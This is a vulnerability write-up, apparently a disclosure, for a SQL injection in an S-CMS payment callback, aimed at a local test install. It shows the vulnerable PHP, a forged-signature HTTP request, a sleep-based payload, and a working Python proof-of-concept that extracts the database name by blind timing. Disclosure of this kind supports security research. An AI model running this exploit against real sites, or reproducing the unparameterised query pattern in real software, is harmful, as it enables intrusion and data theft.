scms-sql-injection

Vulnerability overview

The vulnerability is in the /bank/callback1.php file

Vulnerability analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
require '../conn/conn2.php';
require '../conn/function.php';

$PID = $C_7PID;
$PKEY = $C_7PKEY;

$json_string=file_get_contents("php://input");
$obj=json_decode($json_string);

$P_address = $obj->P_address;
$P_attach = $obj->P_attach;
$P_city = $obj->P_city;
$P_country = $obj->P_country;
$P_email = $obj->P_email;
$P_mobile = $obj->P_mobile;
$P_money = $obj->P_money;
$P_name = $obj->P_name;
$P_no = $obj->P_no;
$P_num = $obj->P_num;
$P_postcode = $obj->P_postcode;
$P_price = $obj->P_price;
$P_province = $obj->P_province;
$P_qq = $obj->P_qq;
$P_remarks = $obj->P_remarks;
$P_state = $obj->P_state;
$P_time = $obj->P_time;
$P_title = $obj->P_title;
$P_type = $obj->P_type;
$P_url = $obj->P_url;
$sign = $obj->sign;

if(strtolower(MD5("P_address=".$P_address."&P_attach=".$P_attach."&P_city=".$P_city."&P_country=".$P_country."&P_email=".$P_email."&P_mobile=".$P_mobile."&P_money=".$P_money."&P_name=".$P_name."&P_no=".$P_no."&P_num=".$P_num."&P_postcode=".$P_postcode."&P_price=".$P_price."&P_province=".$P_province."&P_qq=".$P_qq."&P_remarks=".$P_remarks."&P_state=".$P_state."&P_time=".$P_time."&P_title=".$P_title."&P_type=".$P_type."&P_url=".$P_url."&pkey=".$PKEY))==strtolower($sign)){
//==============================================================================

$sql="select * from SL_list where L_no like '".$P_no."'";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
if (mysqli_num_rows($result) <= 0) {
mysqli_query($conn,"update SL_member set M_money=M_money+".$P_money." where M_id=".$P_attach);
mysqli_query($conn,"insert into SL_list(L_mid,L_title,L_change,L_time,L_no,L_type) values(".$P_attach.",'用户充值',".$P_money.",'".date('Y-m-d H:i:s')."','".$P_no."',0)");
}

//==============================================================================
file_put_contents("log/".$P_no.".txt","success");
echo "success";
}else{
echo "fail";
}
?>

The vulnerability appears in the code below.

$sql=”select * from SL_list where L_no like ‘“.$P_no.”‘“;
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);

Let’s first track the $P_no variable.

$P_no = $obj->P_no;
$json_string=file_get_contents(“php://input”);
$obj=json_decode($json_string);

We will find that $P_no is passed by $obj via the file_get_contents(“php://input”) function to accept the P_no value and then passed in the json format.

We can construct the value of P_no arbitrarily by post, etc., that is, $P_no is not filtered, we can construct it at will.

However, you need to meet a condition before executing the sql injection statement.

1
if(strtolower(MD5("P_address=".$P_address."&P_attach=".$P_attach."&P_city=".$P_city."&P_country=".$P_country."&P_email=".$P_email."&P_mobile=".$P_mobile."&P_money=".$P_money."&P_name=".$P_name."&P_no=".$P_no."&P_num=".$P_num."&P_postcode=".$P_postcode."&P_price=".$P_price."&P_province=".$P_province."&P_qq=".$P_qq."&P_remarks=".$P_remarks."&P_state=".$P_state."&P_time=".$P_time."&P_title=".$P_title."&P_type=".$P_type."&P_url=".$P_url."&pkey=".$PKEY))==strtolower($sign))

According to the code logic, md5 (left side of the equation) = $sign
P_address, P_attach, P_city and other values are also passed in by us.

The overall idea: post submits the value of json format of P_address, P_attach, P_city, etc., and md5 (left side of the equation) = $sign, you can return “success”

The packet is as follows

/scms/bank/callback1.php HTTP/1.1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://127.0.0.1/scms/bank/
Cookie: authorization=fail; authorization4=1MHwwfHMxMXxzMTA0fHM5NHxzOTV8czk5fHM5Nnx3MXw%3D; PHPSESSID=b7lv059bubl69hefa6uupbh9q7
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 505
{
"P_address":"mm",
"P_attach":"110",
"P_city":"mm",
"P_country":"mm",
"P_email":"mm",
"P_mobile":"mm",
"P_money":"110",
"P_name":"aaaaa",
"P_no":"1",
"P_num":"aaa",
"P_postcode":"aaaa",
"P_price":"aaaaaa",
"P_province":"aaaa",
"P_qq":"11111",
"P_remarks":"22222",
"P_state":"3333",
"P_time":"4444",
"P_title":"55555",
"P_type":"666",
"P_url":"7777",
"sign":"63f2ff8b0ce4b8c0a560c80ad556dd11"
}

Echo success
Then we construct “P_no”: “1’ and sleep(5)#” Of course, the value of sign here will also become 5d709b04c0823456a6e176e0f0316508

Sleep for 5 seconds and echo success

POC

So we can construct the following poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import json
import hashlib
import requests
import time
import sys
def md5(md5_value):
m= hashlib.md5()
m.update(md5_value)
return m.hexdigest()
def post_data(P_no):
md5_value="P_address=mm&P_attach=110&P_city=mm&P_country=mm&P_email=mm&P_mobile=mm&P_money=110&P_name=aaaaa&P_no=%s&P_num=aaa&P_postcode=aaaa&P_price=aaaaaa&P_province=aaaa&P_qq=11111&P_remarks=22222&P_state=3333&P_time=4444&P_title=55555&P_type=666&P_url=7777&pkey=" %P_no
json_data={
"P_address":"mm",
"P_attach":"110",
"P_city":"mm",
"P_country":"mm",
"P_email":"mm",
"P_mobile":"mm",
"P_money":"110",
"P_name":"aaaaa",
"P_no":P_no,
"P_num":"aaa",
"P_postcode":"aaaa",
"P_price":"aaaaaa",
"P_province":"aaaa",
"P_qq":"11111",
"P_remarks":"22222",
"P_state":"3333",
"P_time":"4444",
"P_title":"55555",
"P_type":"666",
"P_url":"7777",
"sign":md5(md5_value)
}
#print json_data
return json_data
def run():
print 'start....'
database=''
url='http://127.0.0.1/scms/bank/callback1.php'
for i in range(0,20):
for j in range(31,127):
current_time=time.time()
data=json.dumps(post_data("1' and if(ascii(substring(database(),%s,1))=%s,sleep(5),1)#" %(i,j)))
#print data
header = {'Content-Type': 'application/json'}
r=requests.post(url=url,data=data,headers=header)
print r.content
if time.time()-current_time>5 and 'success' in r.content:
print chr(j)
database+=chr(j)
print 'database:',database
run()


note
$sql=”select * from SL_list where L_no like ‘“.$P_no.”‘“;
In the process of testing
The SL_LIST table is originally empty and must be inserted with a normal value before injection.